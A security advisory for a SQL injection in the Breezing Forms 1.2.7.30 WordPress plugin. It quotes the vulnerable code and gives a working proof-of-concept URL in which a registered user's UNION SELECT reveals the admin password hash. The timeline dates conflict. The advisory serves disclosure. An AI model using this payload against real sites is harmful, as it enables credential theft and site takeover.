02-12-2015 / Vulnerabilities

Breezing Forms 1.2.7.30 SQL Injection

Every registered user can access plugin admin interface.

File: breezing-forms\breezingforms.php

// used for all admin ajax requests
if(isset($_REQUEST['action']) && $_REQUEST['action'] != 'breezingformsajax'){
    add_action('wp_ajax_breezingformsadminajax', 'breezingformsadminajax');
}else{
    add_action('wp_ajax_breezingformsajax', 'breezingformsajax');
}
function breezingformsadminajax(){
    breezingforms_admin();
    die();
}

We can use this for SQL Injection because $_GET['page'] is not escaped.

File: breezing-forms\platform\administrator\components\com_breezingforms\admin.breezingforms.php

switch($act) {
	case 'editpage':
		require_once($ff_admpath.'/admin/element.php');
		break;
}

File: breezing-forms\platform\administrator\components\com_breezingforms\admin\element.php

$page = JRequest::getVar( 'page', 1);
switch ($task) {
	case 'submit':
		facileFormsElement::listitems($option, $pkg, $form, $page, 'submit');
		break;
}

File: breezing-forms\platform\administrator\components\com_breezingforms\admin\element.html.php

public static function listitems($option, $pkg, $form, $page, $prevmode)
{
	global $database;
	$database = JFactory::getDBO();
	$database->setQuery(
		"select * from #__facileforms_elements where form=$form and page=$page order by ordering"
	);
	$rows = $database->loadObjectList();
	if ($database->getErrorNum()) {
		echo $database->stderr();
		return false;
	} // if
	$formrow = new facileFormsForms($database);
	$formrow->load($form);
	$checkedIds = explode(',', JRequest::getVar( 'checkedIds', ''));
	HTML_facileFormsElement::listitems($option, $pkg, $formrow, $page, $rows, $prevmode, $checkedIds);
}

Proof of Concept

Login as regular user (created using wp-login.php?action=register):

http://wordpress-url/wp-admin/admin-ajax.php?action=breezingformsadminajax&act=editpage&task=submit&form=0 UNION (SELECT 1, 2, 3, 4, 5, user_pass, 7, 8, 9, 10, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 1, 2, 3 FROM wp_users WHERE ID = 1) -- 

user_pass will be visible in Name column.

Timeline

  • 20-11-2014: Discovered
  • 20-11-2014: Vendor notified
  • 03-11-2014: Second notification
  • 26-02-2015: Third notification
  • 26-02-2015: Version 1.2.7.31 released, issue resolved